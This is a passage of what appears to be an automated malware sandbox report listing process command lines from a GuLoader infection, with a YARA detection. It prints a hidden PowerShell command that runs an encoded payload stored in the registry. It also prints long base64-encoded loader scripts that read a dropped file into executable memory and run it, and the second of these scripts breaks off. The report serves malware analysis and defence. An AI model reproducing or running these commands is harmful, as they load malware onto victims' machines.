                            Start date:21/01/2022
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x7ff7d6ec0000
                            File size:273920 bytes
                            MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            General

                            Start time:17:21:17
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            General

                            Start time:17:21:17
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:21:21
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Yara matches:
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000001C.00000002.900361754.00000000090B0000.00000040.00000010.sdmp, Author: Joe Security

                            General

                            Start time:17:21:51
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8A